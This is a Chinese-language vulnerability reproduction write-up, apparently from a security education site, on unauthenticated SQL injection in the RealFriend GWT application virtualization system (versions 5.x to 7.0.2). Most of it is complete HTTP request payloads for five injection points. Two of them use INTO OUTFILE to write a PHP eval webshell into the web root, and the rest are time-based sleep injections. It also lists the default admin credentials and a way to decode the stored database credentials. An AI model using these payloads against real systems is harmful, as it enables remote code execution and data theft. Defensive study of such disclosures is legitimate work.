漏洞简介
微步在线漏洞团队通过“X漏洞奖励计划”获取到瑞友天翼应用虚拟化系统远程代码执行漏洞情报(0day),攻击者可以通过该漏洞执行任意代码,导致系统被攻击与控制。瑞友天翼应用虚拟化系统是基于服务器计算架构的应用虚拟化平台,它将用户各种应用软件集中部署到瑞友天翼服务集群,客户端通过WEB即可访问经服务器上授权的应用软件,实现集中应用、远程接入、协同办公等。
漏洞是因为未授权接口在接收参数时没有进行处理校验,存在 SQL 注入漏洞,又因为集成环境中的 mysql 拥有写入文件的权限,所以写入 webshell 最终导致代码执行。
影响版本
5.x <= 瑞友天翼应用虚拟化系统(GWT System) <= 7.0.2.
环境搭建
从师傅处拷到的安装包 Gwt7.0.2.1.exe 默认模式安装,最后
在线注册获取试用 http://mop.realor.cn/TrialReg.aspx
注册成功后 登录页面 默认账号密码是Admin/123
默认路径在 C:/Program Files (x86)/RealFriend/Rap Server/WebRoot
默认数据库配置地址 C:\Program Files (x86)\RealFriend\Rap Server\data\Config\CasDbCnn.dat
账号密码需要将其中的 # 替换为 = 并进行 base64 解码
漏洞复现与分析
通过 http://192.168.222.148/RAPAgent.XGI?CMD=GetRegInfo
查看版本信息
为了方便查看后端实际执行的完整sql,我们可以使用框架提供的 getLastSql() 方法来 获取最近一次执行的SQL语句
注入一__IndexController.class.php__dologin
webroot/casweb/Home/Controller/IndexController.class.php:dologin
http://www.casweb.cn.x/index.php?s=/Index/dologin/name/admin/pwd/c4ca4238a0b923820dcc509a6f75849b
构造数据包 并打印出相对应的 sql 语句
因为默认没有开启验证码,所以可以直接到达 SQL 语句处因为搭建环境时,使用了集成好的mysql 环境,拥有 DBA 的权限,所以可以在文件夹任意位置写入内容
show global variables like '%secure%';
secure_file_priv='' #允许写入到任何文件夹
利用报错信息得到项目的绝对路径
构造payloadPOST /index.php?s=/Index/dologin/name HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 221
name=1')+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31, '<?php eval($_REQUEST["cmd"]);?>' into outfile 'C:/Program Files (x86)/RealFriend/Rap Server/WebRoot/dologin.php'#
查询管理员用户的账户和密码
注入二__ConsoleExternalUploadApi.XGI
webroot/ConsoleExternalUploadApi.XGI
getfarminfo
来进行处理
webroot/Function.XGI
webroot/Common.XGI
POST /ConsoleExternalUploadApi.XGI HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 46
Content-Type: application/x-www-form-urlencoded
initParams=1&sign=2&key=FarmName'and sleep(5)#
修改了代码 打印出了 SQL 命令
构造实现注入写入文件POST /ConsoleExternalUploadApi.XGI HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 170
Content-Type: application/x-www-form-urlencoded
initParams=1&sign=1&key=1'union select '<?php eval($_REQUEST["cmd"]);?>' into outfile 'C:/Program Files (x86)/RealFriend/Rap Server/WebRoot/ConsoleExternalUploadApi.php'#
注入三__ConsoleExternalUploadApi.XGI__uploadAuthorizeKeyFile
POST /ConsoleExternalUploadApi.XGI HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 122
initParams=command_uploadAuthorizeKeyFile__user_admin'and+sleep(5)#__pwd_1&key=inner&sign=d3adb9869bd6a377fa452930d920fd10
注入四__ConsoleExternalApi.XGI__createUser
之后的漏洞大抵上都可以描述为同一个漏洞,只是因为参数的不同,传入到不同的位置,在这里仅仅用一个来举例,之后的不再详细进行分析
我们从 ConsoleExternalApi.XGI 进行分析
通过 REQUEST 方法获取到参数 通过接下来的这段代码,我们可以得到如下结论,当 $key 的值为inner
时,$keyVal 是一个固定值,$sign 的值是
md5($initparams . $keyVal);
$initparams 中需要包含
__
来分割数据,得到每个参数
然后再通过
_
分割 得到每个参数所对应的值 也就是当传入的值是 a_1__b_2 最后得到的也就是 a=1&b=2
继续向下分析
当传入的 cmd 的值是createUser
时,进入相对应的分支,构造相对应的语句就可以实现注入。
POST /ConsoleExternalApi.XGI?initParams=command_createUser__user_admin__pwd_1&key=inner&sign=bd58378906794858b1f57eb272e5d84f HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 46
Content-Type: application/json
{"account":"1'or sleep(5)#",
"userPwd":"1"}
注入五 __ConsoleExternalApi.XGI__getUserDetailByAccount
POST /ConsoleExternalApi.XGI HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 132
initParams=command_getUserDetailByAccount__user_admin__account_1' or sleep(5) and '1&key=inner&sign=e24b8206a168347821a2f10aede99058
原创稿件征集
征集原创技术文章中,欢迎投递
投稿邮箱:edu@antvsion.com
文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关
通过审核并发布能收获200-800元不等的稿酬。
更多详情,点我查看!
靶场实操,戳“阅读原文“